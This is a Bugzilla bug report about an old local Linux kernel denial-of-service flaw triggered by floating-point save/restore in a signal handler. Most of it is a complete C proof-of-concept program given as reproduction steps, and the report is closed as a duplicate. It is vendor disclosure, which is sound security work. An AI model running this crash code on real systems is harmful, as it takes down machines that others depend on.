From Bugzilla Helper: User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040608 Firefox/0.8 Description of problem: Seems there is a local kernel denial of service exploit in just about any kernel out there. Info is at http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html Fedora Core should be updated. RHEL should be investigated. Version-Release number of selected component (if applicable): How reproducible: Always Steps to Reproduce: 1. compile and run: #include <sys/time.h> #include <signal.h> #include <unistd.h> static void Handler(int ignore) { char fpubuf[108]; __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf)); write(2, "*", 1); __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf)); } int main(int argc, char *argv[]) { struct itimerval spec; signal(SIGALRM, Handler); spec.it_interval.tv_sec=0; spec.it_interval.tv_usec=100; spec.it_value.tv_sec=0; spec.it_value.tv_usec=100; setitimer(ITIMER_REAL, &spec, NULL); while(1) write(1, ".", 1); return 0; } Additional info: Appears that the kernel doesn't handle floating point exeptions in signal handlers.
*** This bug has been marked as a duplicate of 125912 ***
Changed to 'CLOSED' state since 'RESOLVED' has been deprecated.